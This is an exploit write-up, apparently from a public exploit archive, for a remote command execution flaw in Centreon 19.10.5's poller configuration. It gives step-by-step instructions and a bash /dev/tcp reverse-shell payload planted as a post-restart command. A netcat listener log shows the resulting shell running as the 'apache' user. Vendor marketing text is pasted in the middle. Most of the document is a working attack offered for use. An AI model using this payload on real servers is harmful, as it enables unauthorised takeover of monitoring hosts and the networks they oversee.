## https://sploitus.com/exploit?id=PACKETSTORM:156144
# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution
# Date: 2020-01-27
# Exploit Author: Omri Baso, Fabien Aunay
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7.7
# CVE : -
Centreon 19.10.5 Remote Command Execution Misc
Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.
User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server
hosting the Centreon Service leading to a full server takeover with the user "apache"
Steps:
1.) <BASEURL>/centreon/main.php?p=60803&type=3
Here we create the Command - can also be found under
Configuration > Commands > Miscellaneous
we Press "Add" -
Command Name: "misc"
Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121
2.) go to: <BASEURL>/centreon/main.php?p=60901
Configuration > Pollers
Open "Central" Poller
add on "Post-Restart command"
the command "misc" we created
make Status "Enabled"
3.) Check the box "Post generation command" in the "Export Configuration" Tab
3.1) Restart Poller and get Shell.
โโ[root@vps]โ[~]
โโโโผ #nc -lnvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:49184.
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
___________________________________________________________________